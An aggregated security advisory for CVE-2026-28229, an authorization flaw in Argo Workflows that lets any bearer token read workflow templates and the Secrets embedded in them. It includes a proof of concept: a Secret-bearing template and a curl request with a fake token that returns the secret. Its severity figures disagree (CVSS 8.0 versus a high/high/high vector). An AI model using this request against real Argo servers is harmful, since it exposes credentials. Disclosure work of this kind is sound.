🛡️ CVE-2026-28229 — argo-workflows
Description
Unauthorized access to Argo Workflows Template
Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72
Informers use the server’s rest config, so they read using server SA privileges.
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46
PoC
1. Create template
```yml
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: leak-workflow-template
namespace: argo
spec:
templates:
- name: make-secret
resource:
action: create
manifest: |
apiVersion: v1
kind: Secret
metadata:
name: leaked-secret
type: Opaque
data:
password: c3VwZXJzZWNyZXQ=
```
Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token
Result:
```cmd
> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
```
Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-28229 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.
Affected software
CVE-2026-28229 is recorded against 5 packages.
- argo-workflows
- github.com/argoproj/argo-workflows
- github.com/argoproj/argo-workflows/v2
- github.com/argoproj/argo-workflows/v3
- github.com/argoproj/argo-workflows/v4
Timeline and source
Published on 13 March 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Web)
access.redhat.com (Web)
access.redhat.com (Web)
bugzilla.redhat.com (Web)
security.access.redhat.com (Web)
CVE-2026-28229 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| argo-workflows | — | — |
| github.com/argoproj/argo-workflows | — | — |
| github.com/argoproj/argo-workflows/v2 | — | — |
| github.com/argoproj/argo-workflows/v3 | — | — |
| github.com/argoproj/argo-workflows/v4 | — | — |
References
Similar Threats
- Unknown CGA-234g-x4h3-6ppx
- Unknown CGA-299c-rxpx-5x42
- Unknown CGA-4v8q-2mqp-2558
- Unknown CGA-2482-xwfv-hwc3
- Unknown CGA-37cx-x4m9-c75f
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running argo-workflows?
CVE-2026-28229 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-28229 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.